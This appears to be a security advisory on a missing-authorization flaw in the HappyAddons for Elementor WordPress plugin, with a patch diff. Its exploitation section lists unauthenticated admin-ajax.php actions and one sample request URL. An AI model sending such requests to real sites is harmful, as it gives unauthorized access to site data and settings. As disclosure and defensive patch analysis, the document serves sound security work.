Atomic Edge analysis of CVE-2026-125788:nnThe HappyAddons for Elementor plugin (versions <= 3.51.3) contains a missing authorization vulnerability in several AJAX handlers and the template type retrieval function. The plugin fails to perform capability checks or nonce validation in multiple locations, allowing unauthenticated attackers to invoke privileged actions. The CVSS score is 5.3 (Medium), and the weakness is classified as CWE-862 (Missing Authorization).nnRoot Cause: The vulnerability exists in multiple files. In classes/ajax-handler.php, the twitter_feed_ajax and post_tab functions lack proper nonce verification and rely on user-supplied settings from POST data instead of server-side stored transients. In classes/condition-manager.php, the ha_get_template_type function had its nonce validation commented out and lacks capability checks. In classes/attention-seeker.php, process_ignore_request lacks a capability check. In classes/clone-handler.php, the nonce is not verified. In classes/library-manager.php, the editor_post_id is not checked for edit capabilities. These flaws allow unauthenticated users to execute actions that should require authentication or higher privileges.nnExploitation: An attacker can send crafted AJAX requests to /wp-admin/admin-ajax.php with the action parameter set to the vulnerable handlers (e.g., action=twitter_feed_ajax, action=post_tab) without a valid nonce or with a manipulated nonce. For ha_get_template_type, the attacker can request /wp-admin/admin-ajax.php?action=ha_get_template_type&post_id=1 without a nonce to retrieve template type metadata. For process_ignore_request, the attacker can POST to admin-ajax.php with action=process_ignore_request and arbitrary id to set a transient. For clone-handler, the attacker can trigger a clone operation without a valid nonce. The library-manager allows unauthorized editing of posts by specifying an editor_post_id the attacker does not own.nnPatch Analysis: The patch adds nonce verification and capability checks across the affected functions. In ajax-handler.php, the code now verifies the nonce with check_ajax_referer and retrieves settings from server-side transients instead of POST data, preventing tampering. It also sanitizes and validates inputs. In condition-manager.php, the nonce is verified and a capability check (current_user_can('edit_post', $id)) is added for the template type retrieval; a new validate_condition_string function ensures condition strings are well-formed. In attention-seeker.php, a current_user_can('manage_options') check is added. In clone-handler.php, the nonce is verified. In library-manager.php, an edit_post capability check is added for the editor_post_id. These changes enforce proper authorization and data integrity.nnImpact: Successful exploitation allows unauthenticated attackers to perform unauthorized actions such as retrieving sensitive template information, manipulating plugin settings, ignoring attention seekers (which could hide security notices), cloning posts without permission, and potentially editing arbitrary posts (if the library-manager flaw is exploited). This could lead to information disclosure, privilege escalation, or site compromise. The CVSS score of 5.3 reflects the medium severity due to the lack of confidentiality, integrity, and availability impact in the base score, but the actual impact can be significant depending on the context.

CVE-2026-125788: HappyAddons for Elementor – 160 Elementor Widgets, GSAP Animations & Templates <= 3.51.3 Missing Authorization PoC, Patch Analysis & Rule
CVE-2026-125788
happy-elementor-addons
3.51.3
3.52.0
Free WordPress WAF
Protect your site at the edge
Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.
Analysis Overview
Differential between vulnerable and patched code
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/happy-elementor-addons/base.php
+++ b/happy-elementor-addons/base.php
@@ -327,7 +327,19 @@
//For Widget class load
if ( 0 === strpos( $class_name, __NAMESPACE__ . 'Widget\' ) ) {
- $file = HAPPY_ADDONS_DIR_PATH . '/' . str_replace( 'widget', 'widgets', $file_name ) . '/widget.php';
+ // Widget classes extend Base, which is otherwise only loaded by the widgets manager
+ // (not available e.g. under WP-CLI or direct class_exists() calls).
+ $base_file = HAPPY_ADDONS_DIR_PATH . '/base/widget-base.php';
+ if ( __NAMESPACE__ . 'WidgetBase' === $class_name ) {
+ if ( ! class_exists( $class_name, false ) && class_exists( 'ElementorWidget_Base' ) && is_readable( $base_file ) ) {
+ include_once $base_file;
+ }
+ return;
+ }
+ if ( ! class_exists( __NAMESPACE__ . 'WidgetBase', false ) && class_exists( 'ElementorWidget_Base' ) && is_readable( $base_file ) ) {
+ include_once $base_file;
+ }
+ $file =HAPPY_ADDONS_DIR_PATH . '/' . str_replace( 'widget', 'widgets', $file_name ) . '/widget.php';
if ( ! class_exists( $class_name ) && is_readable( $file ) ) {
include_once $file;
}
--- a/happy-elementor-addons/classes/admin-bar.php
+++ b/happy-elementor-addons/classes/admin-bar.php
@@ -86,6 +86,7 @@
'HappyAdmin',
[
'nonce' => wp_create_nonce( 'ha_clear_cache' ),
+ 'template_type_nonce' => wp_create_nonce( 'ha_cond_template_type' ),
'post_id' => get_queried_object_id(),
'ajax_url' => admin_url( 'admin-ajax.php' ),
]
--- a/happy-elementor-addons/classes/ajax-handler.php
+++ b/happy-elementor-addons/classes/ajax-handler.php
@@ -11,23 +11,42 @@
*/
public static function twitter_feed_ajax() {
- $security = check_ajax_referer( 'happy_addons_nonce', 'security' );
- $widget_id = esc_html( $_POST['widget_id'] );
- $crede_cache_key = '_ha_tweeter_crede_cache_key_' . $widget_id;
- $crede_cache_data = get_transient( $crede_cache_key );
-
- if ( true == $security && isset( $_POST['query_settings'] ) && isset( $_POST['widget_id'] ) && $crede_cache_data !== false ) :
- $settings = ha_sanitize_array_recursively($_POST['query_settings']);
- $loaded_item = absint($_POST['loaded_item']);
-
- $user_name = trim( $settings['user_name'] );
- $ha_tweets_cash = '_' . $settings['id'] . '_tweet_cash';
-
- $transient_key = $user_name . $ha_tweets_cash;
- $twitter_data = get_transient( $transient_key );
- // $credentials = $settings['credentials'];
- $credentials = $crede_cache_data;
+ check_ajax_referer( 'happy_addons_nonce', 'security' );
+
+ if ( ! isset( $_POST['widget_id'] ) ) {
+ wp_die();
+ }
+
+ $widget_id = preg_replace( '/[^a-zA-Z0-9_-]/', '', wp_unslash( $_POST['widget_id'] ) );
+
+ if ( empty( $widget_id ) ) {
+ wp_die();
+ }
+
+ /**
+ * Query settings and credentials are stored server-side when the widget
+ * renders. They must never be accepted from the request.
+ */
+ $settings = get_transient( '_ha_tweeter_settings_cache_key_' . $widget_id );
+ $credentials = get_transient( '_ha_tweeter_crede_cache_key_' . $widget_id );
+
+ if ( ! is_array( $settings ) || empty( $credentials ) ) {
+ wp_die();
+ }
+
+ $loaded_item = isset( $_POST['loaded_item'] ) ? absint( $_POST['loaded_item'] ) : 0;
+ $tweets_limit = isset( $settings['tweets_limit'] ) ? min( max( absint( $settings['tweets_limit'] ), 1 ), 200 ) : 6;
+ $sort_by = isset( $settings['sort_by'] ) ? $settings['sort_by'] : 'recent-posts';
+ $user_name = isset( $settings['user_name'] ) ? ha_twitter_feed_normalize_screen_name( $settings['user_name'] ) : '';
+ if ( '' === $user_name ) {
+ wp_die();
+ }
+
+ $transient_key = $user_name . '_' . $widget_id . '_tweet_cash';
+ $twitter_data = get_transient( $transient_key );
+
+ if ( false === $twitter_data || ! is_array( $twitter_data ) ) {
$auth_response = wp_remote_post(
'https://api.twitter.com/oauth2/token',
[
@@ -44,10 +63,10 @@
$body = json_decode( wp_remote_retrieve_body( $auth_response ) );
- if ( ! empty( $body ) ) {
+ if ( ! empty( $body ) && ! empty( $body->access_token ) ) {
$token = $body->access_token;
$tweets_response = wp_remote_get(
- 'https://api.twitter.com/1.1/statuses/user_timeline.json?screen_name=' . $settings['user_name'] . '&count=999&tweet_mode=extended',
+ 'https://api.twitter.com/1.1/statuses/user_timeline.json?screen_name=' . rawurlencode( $user_name ) . '&count=200&tweet_mode=extended',
[
'httpversion' => '1.1',
'blocking' => true,
@@ -56,150 +75,161 @@
);
if ( ! is_wp_error( $tweets_response ) ) {
- $twitter_data = json_decode( wp_remote_retrieve_body( $tweets_response ), true );
- set_transient( $transient_key, $twitter_data, 0 );
+ $tweets = json_decode( wp_remote_retrieve_body( $tweets_response ), true );
+ if ( is_array( $tweets ) ) {
+ // Cap the cached entries and use an expiry so the transient cannot become a permanent autoloaded option.
+ $twitter_data = array_slice( $tweets, 0, 200 );
+ set_transient( $transient_key, $twitter_data, 12 * HOUR_IN_SECONDS );
+ }
}
}
- if ( 'yes' == $settings['remove_cache'] ) {
- delete_transient( $transient_key );
- }
+ }
- switch ( $settings['sort_by'] ) {
- case 'old-posts':
- usort(
- $twitter_data,
- function ( $a, $b ) {
- if ( $a['created_at'] == $b['created_at'] ) {
- return 0;
- }
+ if ( isset( $settings['remove_cache'] ) && 'yes' === $settings['remove_cache'] ) {
+ delete_transient( $transient_key );
+ }
+
+ if ( ! is_array( $twitter_data ) || empty( $twitter_data ) ) {
+ wp_die();
+ }
- return ( $a['created_at'] < $b['created_at'] ) ? -1 : 1;
+ switch ( $sort_by ) {
+ case 'old-posts':
+ usort(
+ $twitter_data,
+ function ( $a, $b ) {
+ if ( $a['created_at'] == $b['created_at'] ) {
+ return 0;
}
- );
- break;
- case 'favorite_count':
- usort(
- $twitter_data,
- function ( $a, $b ) {
- if ( $a['favorite_count'] == $b['favorite_count'] ) {
- return 0;
- }
- return ( $a['favorite_count'] > $b['favorite_count'] ) ? -1 : 1;
+ return ( $a['created_at'] < $b['created_at'] ) ? -1 : 1;
+ }
+ );
+ break;
+ case 'favorite_count':
+ usort(
+ $twitter_data,
+ function ( $a, $b ) {
+ if ( $a['favorite_count'] == $b['favorite_count'] ) {
+ return 0;
}
- );
- break;
- case 'retweet_count':
- usort(
- $twitter_data,
- function ( $a, $b ) {
- if ( $a['retweet_count'] == $b['retweet_count'] ) {
- return 0;
- }
- return ( $a['retweet_count'] > $b['retweet_count'] ) ? -1 : 1;
+ return ( $a['favorite_count'] > $b['favorite_count'] ) ? -1 : 1;
+ }
+ );
+ break;
+ case 'retweet_count':
+ usort(
+ $twitter_data,
+ function ( $a, $b ) {
+ if ( $a['retweet_count'] == $b['retweet_count'] ) {
+ return 0;
}
- );
- break;
- default:
- $twitter_data;
- }
- $items = array_splice( $twitter_data, $loaded_item, $settings['tweets_limit'] );
+ return ( $a['retweet_count'] > $b['retweet_count'] ) ? -1 : 1;
+ }
+ );
+ break;
+ default:
+ $twitter_data;
+ }
- foreach ( $items as $item ) :
- if ( ! empty( $item['entities']['urls'] ) ) {
- $content = str_replace( $item['entities']['urls'][0]['url'], '', $item['full_text'] );
- } else {
- $content = $item['full_text'];
- }
+ $items = array_splice( $twitter_data, $loaded_item, $tweets_limit );
- $description = explode( ' ', $content );
- if ( ! empty( $settings['content_word_count'] ) && count( $description ) > $settings['content_word_count'] ) {
- $description_shorten = array_slice( $description, 0, $settings['content_word_count'] );
- $description = implode( ' ', $description_shorten ) . '...';
- } else {
- $description = $content;
- }
- ?>
- <div class="ha-tweet-item">
+ $content_word_count = isset( $settings['content_word_count'] ) ? absint( $settings['content_word_count'] ) : 0;
- <?php if ( 'yes' == $settings['show_twitter_logo'] ) : ?>
- <div class="ha-tweeter-feed-icon">
- <i class="fa fa-twitter"></i>
- </div>
- <?php endif; ?>
+ foreach ( $items as $item ) :
+ if ( ! empty( $item['entities']['urls'] ) ) {
+ $content = str_replace( $item['entities']['urls'][0]['url'], '', $item['full_text'] );
+ } else {
+ $content = $item['full_text'];
+ }
+
+ $description = explode( ' ', $content );
+ if ( ! empty( $content_word_count ) && count( $description ) > $content_word_count ) {
+ $description_shorten = array_slice( $description, 0, $content_word_count );
+ $description = implode( ' ', $description_shorten ) . '...';
+ } else {
+ $description = $content;
+ }
+ ?>
+ <div class="ha-tweet-item">
+
+ <?php if ( 'yes' == $settings['show_twitter_logo'] ) : ?>
+ <div class="ha-tweeter-feed-icon">
+ <i class="fa fa-twitter"></i>
+ </div>
+ <?php endif; ?>
- <div class="ha-tweet-inner-wrapper">
+ <div class="ha-tweet-inner-wrapper">
- <div class="ha-tweet-author">
- <?php if ( 'yes' == $settings['show_user_image'] ) : ?>
- <a href="<?php echo esc_url( 'https://twitter.com/' . $user_name ); ?>">
- <img src="<?php echo esc_url( $item['user']['profile_image_url_https'] ); ?>" alt="<?php echo esc_attr( $item['user']['name'] ); ?>" class="ha-tweet-avatar">
+ <div class="ha-tweet-author">
+ <?php if ( 'yes' == $settings['show_user_image'] ) : ?>
+ <a href="<?php echo esc_url( 'https://twitter.com/' . $user_name ); ?>">
+ <img src="<?php echo esc_url( $item['user']['profile_image_url_https'] ); ?>" alt="<?php echo esc_attr( $item['user']['name'] ); ?>" class="ha-tweet-avatar">
+ </a>
+ <?php endif; ?>
+
+ <div class="ha-tweet-user">
+ <?php if ( 'yes' == $settings['show_name'] ) : ?>
+ <a href="<?php echo esc_url( 'https://twitter.com/' . $user_name ); ?>" class="ha-tweet-author-name">
+ <?php echo esc_html( $item['user']['name'] ); ?>
</a>
<?php endif; ?>
- <div class="ha-tweet-user">
- <?php if ( 'yes' == $settings['show_name'] ) : ?>
- <a href="<?php echo esc_url( 'https://twitter.com/' . $user_name ); ?>" class="ha-tweet-author-name">
- <?php echo esc_html( $item['user']['name'] ); ?>
- </a>
- <?php endif; ?>
-
- <?php if ( 'yes' == $settings['show_user_name'] ) : ?>
- <a href="<?php echo esc_url( 'https://twitter.com/' . $user_name ); ?>" class="ha-tweet-username">
- <?php echo esc_html( $settings['user_name'] ); ?>
- </a>
- <?php endif; ?>
- </div>
+ <?php if ( 'yes' == $settings['show_user_name'] ) : ?>
+ <a href="<?php echo esc_url( 'https://twitter.com/' . $user_name ); ?>" class="ha-tweet-username">
+ <?php echo esc_html( $user_name ); ?>
+ </a>
+ <?php endif; ?>
</div>
+ </div>
- <div class="ha-tweet-content">
- <p>
- <?php echo esc_html( $description ); ?>
-
- <?php if ( 'yes' == $settings['read_more'] ) : ?>
- <a href="<?php echo esc_url( '//twitter.com/' . $item['user']['screen_name'] . '/status/' . $item['id'] ); ?>" target="_blank">
- <?php echo esc_html( $settings['read_more_text'] ); ?>
- </a>
- <?php endif; ?>
- </p>
-
- <?php if ( 'yes' == $settings['show_date'] ) : ?>
- <div class="ha-tweet-date">
- <?php echo esc_html( date( 'M d Y', strtotime( $item['created_at'] ) ) ); ?>
- </div>
+ <div class="ha-tweet-content">
+ <p>
+ <?php echo esc_html( $description ); ?>
+
+ <?php if ( 'yes' == $settings['read_more'] ) : ?>
+ <a href="<?php echo esc_url( '//twitter.com/' . $item['user']['screen_name'] . '/status/' . $item['id'] ); ?>" target="_blank">
+ <?php echo esc_html( $settings['read_more_text'] ); ?>
+ </a>
<?php endif; ?>
- </div>
+ </p>
+ <?php if ( 'yes' == $settings['show_date'] ) : ?>
+ <div class="ha-tweet-date">
+ <?php echo esc_html( date( 'M d Y', strtotime( $item['created_at'] ) ) ); ?>
+ </div>
+ <?php endif; ?>
</div>
- <?php if ( 'yes' == $settings['show_favorite'] || 'yes' == $settings['show_retweet'] ) : ?>
- <div class="ha-tweet-footer-wrapper">
- <div class="ha-tweet-footer">
-
- <?php if ( 'yes' == $settings['show_favorite'] ) : ?>
- <div class="ha-tweet-favorite">
- <?php echo esc_html( $item['favorite_count'] ); ?>
- <i class="fa fa-heart-o"></i>
- </div>
- <?php endif; ?>
-
- <?php if ( 'yes' == $settings['show_retweet'] ) : ?>
- <div class="ha-tweet-retweet">
- <?php echo esc_html( $item['retweet_count'] ); ?>
- <i class="fa fa-retweet"></i>
- </div>
- <?php endif; ?>
+ </div>
+
+ <?php if ( 'yes' == $settings['show_favorite'] || 'yes' == $settings['show_retweet'] ) : ?>
+ <div class="ha-tweet-footer-wrapper">
+ <div class="ha-tweet-footer">
+
+ <?php if ( 'yes' == $settings['show_favorite'] ) : ?>
+ <div class="ha-tweet-favorite">
+ <?php echo esc_html( $item['favorite_count'] ); ?>
+ <i class="fa fa-heart-o"></i>
+ </div>
+ <?php endif; ?>
+
+ <?php if ( 'yes' == $settings['show_retweet'] ) : ?>
+ <div class="ha-tweet-retweet">
+ <?php echo esc_html( $item['retweet_count'] ); ?>
+ <i class="fa fa-retweet"></i>
+ </div>
+ <?php endif; ?>
- </div>
</div>
- <?php endif; ?>
+ </div>
+ <?php endif; ?>
- </div>
- <?php
- endforeach;
- endif;
+ </div>
+ <?php
+ endforeach;
wp_die();
}
@@ -208,89 +238,127 @@
*/
public static function post_tab() {
- $security = check_ajax_referer( 'happy_addons_nonce', 'security' );
+ check_ajax_referer( 'happy_addons_nonce', 'security' );
- if ( true == $security ) :
- $settings = ha_sanitize_array_recursively($_POST['post_tab_query']);
- $post_type = $settings['post_type'];
- $taxonomy = $settings['taxonomy'];
- $item_limit = $settings['item_limit'];
- $excerpt = $settings['excerpt'];
- $title_tag = $settings['title_tag'];
- $term_id = absint($_POST['term_id']);
- $orderby = $settings['orderby'];
- $order = $settings['order'];
-
- $args = [
- 'post_status' => 'publish',
- 'post_type' => $post_type,
- 'posts_per_page' => $item_limit,
- 'orderby' => $orderby,
- 'order' => $order,
- 'suppress_filters' => false,
- 'tax_query' => [
- [
- 'taxonomy' => $taxonomy,
- 'field' => 'term_id',
- 'terms' => $term_id,
- ],
+ if ( ! isset( $_POST['widget_id'] ) ) {
+ wp_die();
+ }
+
+ $widget_id = preg_replace( '/[^a-zA-Z0-9_-]/', '', wp_unslash( $_POST['widget_id'] ) );
+
+ if ( empty( $widget_id ) ) {
+ wp_die();
+ }
+
+ /**
+ * Query settings are stored server-side when the widget renders.
+ * They must never be accepted from the request.
+ */
+ $settings = get_transient( '_ha_post_tab_settings_cache_key_' . $widget_id );
+
+ if ( ! is_array( $settings ) ) {
+ wp_die();
+ }
+
+ $post_type = isset( $settings['post_type'] ) ? sanitize_key( $settings['post_type'] ) : '';
+ $taxonomy = isset( $settings['taxonomy'] ) ? sanitize_key( $settings['taxonomy'] ) : '';
+ $item_limit = isset( $settings['item_limit'] ) ? $settings['item_limit'] : 10;
+ $excerpt = isset( $settings['excerpt'] ) ? $settings['excerpt'] : 'no';
+ $title_tag = isset( $settings['title_tag'] ) ? $settings['title_tag'] : 'h2';
+ $term_id = isset( $_POST['term_id'] ) ? absint( $_POST['term_id'] ) : 0;
+ $orderby = isset( $settings['orderby'] ) ? $settings['orderby'] : 'date';
+ $order = isset( $settings['order'] ) ? strtoupper( $settings['order'] ) : 'DESC';
+
+ // Only allow publicly viewable post types, real taxonomies of that post type, and a capped limit.
+ if ( ! post_type_exists( $post_type ) || ! is_post_type_viewable( $post_type ) ) {
+ wp_die();
+ }
+
+ if ( ! taxonomy_exists( $taxonomy ) || ! is_object_in_taxonomy( $post_type, $taxonomy ) ) {
+ wp_die();
+ }
+
+ $item_limit = min( max( absint( $item_limit ), 1 ), 50 );
+
+ $allowed_orderby = ['date', 'title', 'ID', 'author', 'modified', 'rand', 'menu_order', 'comment_count'];
+ if ( ! in_array( $orderby, $allowed_orderby, true ) ) {
+ $orderby = 'date';
+ }
+
+ if ( ! in_array( $order, ['ASC', 'DESC'], true ) ) {
+ $order = 'DESC';
+ }
+
+ $args = [
+ 'post_status' => 'publish',
+ 'has_password' => false,
+ 'post_type' => $post_type,
+ 'posts_per_page' => $item_limit,
+ 'orderby' => $orderby,
+ 'order' => $order,
+ 'suppress_filters' => false,
+ 'tax_query' => [
+ [
+ 'taxonomy' => $taxonomy,
+ 'field' => 'term_id',
+ 'terms' => $term_id,
],
- ];
+ ],
+ ];
- $posts = get_posts( $args );
+ $posts = get_posts( $args );
- if ( count( $posts ) !== 0 ) :
- ?>
- <div class="ha-post-tab-item-wrapper active" data-term="<?php echo esc_attr( $term_id ); ?>">
- <?php foreach ( $posts as $post ) : ?>
- <div class="ha-post-tab-item">
- <div class="ha-post-tab-item-inner">
- <?php if ( has_post_thumbnail( $post->ID ) ) : ?>
- <a href="<?php echo esc_url( get_the_permalink( $post->ID ) ); ?>" class="ha-post-tab-thumb">
- <?php echo get_the_post_thumbnail( $post->ID, 'full' ); ?>
- </a>
- <?php endif; ?>
- <?php
- printf(
- '<%1$s class="ha-post-tab-title"><a href="%2$s">%3$s</a></%1$s>',
- ha_escape_tags( $title_tag, 'h2' ),
- esc_url( get_the_permalink( $post->ID ) ),
- esc_html( $post->post_title )
- );
- ?>
- <?php if ( ( 'yes' == $settings['show_user_meta'] ) || ( 'yes' == $settings['show_date_meta'] ) ) : ?>
- <div class="ha-post-tab-meta">
- <?php if ( 'yes' == $settings['show_user_meta'] ) : ?>
- <span class="ha-post-tab-meta-author">
- <i class="fa fa-user-o"></i>
- <a href="<?php echo esc_url( get_author_posts_url( $post->post_author ) ); ?>"><?php echo esc_html( get_the_author_meta( 'display_name', $post->post_author ) ); ?></a>
- </span>
- <?php endif; ?>
- <?php if ( 'yes' == $settings['show_date_meta'] ) : ?>
- <?php
- $archive_year = get_the_time( 'Y', $post->ID );
- $archive_month = get_the_time( 'm', $post->ID );
- $archive_day = get_the_time( 'd', $post->ID );
- ?>
- <span class="ha-post-tab-meta-date">
- <i class="fa fa-calendar-o"></i>
- <a href="<?php echo esc_url( get_day_link( $archive_year, $archive_month, $archive_day ) ); ?>"><?php echo get_the_date( get_option( 'date_format' ), $post->ID ); ?></a>
- </span>
- <?php endif; ?>
- </div>
- <?php endif; ?>
- <?php if ( 'yes' === $excerpt && ! empty( $post->post_excerpt ) ) : ?>
- <div class="ha-post-tab-excerpt">
- <p><?php echo esc_html( $post->post_excerpt ); ?></p>
- </div>
- <?php endif; ?>
- </div>
+ if ( count( $posts ) !== 0 ) :
+ ?>
+ <div class="ha-post-tab-item-wrapper active" data-term="<?php echo esc_attr( $term_id ); ?>">
+ <?php foreach ( $posts as $post ) : ?>
+ <div class="ha-post-tab-item">
+ <div class="ha-post-tab-item-inner">
+ <?php if ( has_post_thumbnail( $post->ID ) ) : ?>
+ <a href="<?php echo esc_url( get_the_permalink( $post->ID ) ); ?>" class="ha-post-tab-thumb">
+ <?php echo get_the_post_thumbnail( $post->ID, 'full' ); ?>
+ </a>
+ <?php endif; ?>
+ <?php
+ printf(
+ '<%1$s class="ha-post-tab-title"><a href="%2$s">%3$s</a></%1$s>',
+ ha_escape_tags( $title_tag, 'h2' ),
+ esc_url( get_the_permalink( $post->ID ) ),
+ esc_html( $post->post_title )
+ );
+ ?>
+ <?php if ( ( 'yes' == $settings['show_user_meta'] ) || ( 'yes' == $settings['show_date_meta'] ) ) : ?>
+ <div class="ha-post-tab-meta">
+ <?php if ( 'yes' == $settings['show_user_meta'] ) : ?>
+ <span class="ha-post-tab-meta-author">
+ <i class="fa fa-user-o"></i>
+ <a href="<?php echo esc_url( get_author_posts_url( $post->post_author ) ); ?>"><?php echo esc_html( get_the_author_meta( 'display_name', $post->post_author ) ); ?></a>
+ </span>
+ <?php endif; ?>
+ <?php if ( 'yes' == $settings['show_date_meta'] ) : ?>
+ <?php
+ $archive_year = get_the_time( 'Y', $post->ID );
+ $archive_month = get_the_time( 'm', $post->ID );
+ $archive_day = get_the_time( 'd', $post->ID );
+ ?>
+ <span class="ha-post-tab-meta-date">
+ <i class="fa fa-calendar-o"></i>
+ <a href="<?php echo esc_url( get_day_link( $archive_year, $archive_month, $archive_day ) ); ?>"><?php echo esc_html( get_the_date( get_option( 'date_format' ), $post->ID ) ); ?></a>
+ </span>
+ <?php endif; ?>
+ </div>
+ <?php endif; ?>
+ <?php if ( 'yes' === $excerpt && ! empty( $post->post_excerpt ) && ! post_password_required( $post ) ) : ?>
+ <div class="ha-post-tab-excerpt">
+ <p><?php echo esc_html( $post->post_excerpt ); ?></p>
+ </div>
+ <?php endif; ?>
</div>
- <?php endforeach; ?>
- </div>
- <?php
+ </div>
+ <?php endforeach; ?>
+ </div>
+ <?php
- endif;
endif;
wp_die();
}
@@ -313,7 +381,7 @@
include_once HAPPY_ADDONS_DIR_PATH . 'widgets/mailchimp/mailchimp-api.php';
}
- $response = WidgetMailchimpMailchimp_Api::insert_subscriber_to_mailchimp( $subscriber );
+ $response = Happy_AddonsElementorWidgetMailchimpMailchimp_Api::insert_subscriber_to_mailchimp( $subscriber );
echo wp_send_json( $response );
--- a/happy-elementor-addons/classes/attention-seeker.php
+++ b/happy-elementor-addons/classes/attention-seeker.php
@@ -46,11 +46,14 @@
public static function process_ignore_request() {
$nonce = isset( $_POST['nonce'] ) ? $_POST['nonce'] : '';
$id = isset( $_POST['id'] ) ? sanitize_text_field($_POST['id']) : '';
- if ( wp_verify_nonce( $nonce, 'ignore_attention_seeker' ) && $id ) {
+
+ if ( current_user_can( 'manage_options' ) && wp_verify_nonce( $nonce, 'ignore_attention_seeker' ) && $id ) {
$seeker = wp_list_filter( self::get_attentions(), ['_id' => $id] );
- $expire_date = $seeker[0]['end_date'] - time();
- set_transient( self::generate_db_key( $id ), 'ignore', $expire_date );
- wp_send_json_success();
+
+ if ( ! empty( $seeker ) && isset( $seeker[0]['end_date'] ) && $seeker[0]['end_date'] > time() ) {
+ set_transient( self::generate_db_key( $id ), 'ignore', $seeker[0]['end_date'] - time() );
+ wp_send_json_success();
+ }
}
exit;
--- a/happy-elementor-addons/classes/clone-handler.php
+++ b/happy-elementor-addons/classes/clone-handler.php
@@ -85,6 +85,10 @@
$post_id = isset( $_GET['post_id'] ) ? absint( $_GET['post_id'] ) : 0;
$ref = isset( $_GET['ref'] ) ? sanitize_text_field( $_GET['ref'] ) : '';
+ if ( ! wp_verify_nonce( $nonce, self::ACTION ) ) {
+ wp_die( __( 'Sorry, your nonce did not verify.', 'happy-elementor-addons' ), 403 );
+ }
+
if ( !$post_id || !get_post( $post_id ) ) {
wp_die( __( 'Invalid post.' ) );
}
--- a/happy-elementor-addons/classes/condition-manager.php
+++ b/happy-elementor-addons/classes/condition-manager.php
@@ -298,8 +298,17 @@
public function ha_get_template_type() {
try {
- //$this->validate_template_request();
+ $nonce = ! empty( $_REQUEST['nonce'] ) ? $_REQUEST['nonce'] : '';
$id = isset($_REQUEST['post_id']) ? absint($_REQUEST['post_id']) : null;
+
+ if ( ! wp_verify_nonce( $nonce, 'ha_cond_template_type' ) ) {
+ throw new Exception( 'Invalid request' );
+ }
+
+ if ( $id && ! current_user_can( 'edit_post', $id ) ) {
+ throw new Exception( 'Unauthorized request' );
+ }
+
if ($id) {
$tpl_type = get_post_meta($id, '_ha_library_type', true);
wp_send_json_success($tpl_type);
@@ -319,6 +328,12 @@
$templateID = isset($_REQUEST['template_id']) ? absint($_REQUEST['template_id']) : null;
$requestConditions = isset($_REQUEST['conds']) ? ha_sanitize_array_recursively($_REQUEST['conds']) : [];
+ foreach ((array) $requestConditions as $requestCondition) {
+ if ( ! $this->validate_condition_string( $requestCondition ) ) {
+ wp_send_json_error(['msg' => esc_html__('Invalid display condition.', 'happy-elementor-addons')]);
+ }
+ }
+
// error_log(print_r($templateID), true);
// error_log(print_r($requestConditions), true);
@@ -359,6 +374,44 @@
}
/*
+ * validate a single condition string against the known condition grammar
+ * expected format: {include|exclude}/{name}/{sub_name}/{sub_id}
+ *
+ * @param mixed $cond
+ *
+ * @return boolean
+ */
+ private function validate_condition_string($cond) {
+ if ( ! is_string( $cond ) ) {
+ return false;
+ }
+
+ if ( count( explode( '/', $cond ) ) > 4 ) {
+ return false;
+ }
+
+ list($type, $name, $sub_name, $sub_id) = array_pad( explode( '/', $cond ), 4, '' );
+
+ if ( ! in_array( $type, ['include', 'exclude'], true ) ) {
+ return false;
+ }
+
+ if ( ! in_array( $name, $this->all_conds['name'] ?? [], true ) ) {
+ return false;
+ }
+
+ if ( '' !== $sub_name && ! array_key_exists( $sub_name, $this->all_conds_list ) ) {
+ return false;
+ }
+
+ if ( '' !== $sub_id && ! absint( $sub_id ) ) {
+ return false;
+ }
+
+ return true;
+ }
+
+ /*
* check template conditions
* @param string $template_type
* @param Array $requestConditions
@@ -532,7 +585,12 @@
$sub_name = $parsed_condition['sub_name'];
$sub_id = $parsed_condition['sub_id'];
- $sub_name_html = ($sub_name) ? '<option value="' . esc_attr($sub_name) . '" selected="selected">' . esc_html($this->all_conds_list[$sub_name]['title']) . '</option>' : '';
+ $type_attr = esc_attr($include);
+ $name_attr = esc_attr($name);
+ $sub_name_attr = esc_attr($sub_name);
+ $sub_id_attr = esc_attr($sub_id);
+
+ $sub_name_html = ($sub_name) ? '<option value="' . esc_attr($sub_name) . '" selected="selected">' . esc_html($this->all_conds_list[$sub_name]['title'] ?? '') . '</option>' : '';
$sub_id_html = ($sub_id) ? '<option value="' . esc_attr($sub_id) . '" selected="selected">' . esc_html(get_the_title($sub_id)) . '</option>' : '';
@@ -548,13 +606,13 @@
<div id="ha-template-condition-item-$uuid" class="ha-template-condition-item">
<div class="ha-template-condition-item-row">
<div class="ha-tce-type">
- <select data-id="type-$uuid" data-parent="$uuid" data-setting="type" data-selected="$include">
+ <select data-id="type-$uuid" data-parent="$uuid" data-setting="type" data-selected="$type_attr">
<option value="include" {$if($include == 'include', "selected", "")}>Include</option>
<option value="exclude" {$if($include == 'exclude', "selected", "")}>Exclude</option>
</select>
</div>
<div class="ha-tce-name">
- <select data-id="name-$uuid" data-parent="$uuid" data-setting="name" data-selected="$name">
+ <select data-id="name-$uuid" data-parent="$uuid" data-setting="name" data-selected="$name_attr">
<optgroup label="General">
<option value="general" {$if($name == 'general', "selected", "")}>Entire Site</option>
<option value="archive" {$if($name == 'archive', "selected", "")}>Archives</option>
@@ -563,12 +621,12 @@
</select>
</div>
<div class="ha-tce-sub_name" $sub_name_visibility>
- <select data-id="sub_name-$uuid" data-parent="$uuid" data-setting="sub_name" data-selected="esc_attr($sub_name)">
+ <select data-id="sub_name-$uuid" data-parent="$uuid" data-setting="sub_name" data-selected="$sub_name_attr">
$sub_name_html
</select>
</div>
<div class="ha-tce-sub_id" $sub_id_visibility>
- <select data-id="sub_id-$uuid" data-parent="$uuid" data-setting="sub_id" data-selected="esc_attr($sub_id)">
+ <select data-id="sub_id-$uuid" data-parent="$uuid" data-setting="sub_id" data-selected="$sub_id_attr">
$sub_id_html
</select>
</div>
--- a/happy-elementor-addons/classes/library-manager.php
+++ b/happy-elementor-addons/classes/library-manager.php
@@ -57,7 +57,7 @@
if ( ! empty( $data['editor_post_id'] ) ) {
$editor_post_id = absint( $data['editor_post_id'] );
- if ( ! get_post( $editor_post_id ) ) {
+ if ( ! get_post( $editor_post_id ) || ! current_user_can( 'edit_post', $editor_post_id ) ) {
throw new Exception( __( 'Post not found.', 'happy-elementor-addons' ) );
}
@@ -77,7 +77,7 @@
if ( ! empty( $data['editor_post_id'] ) ) {
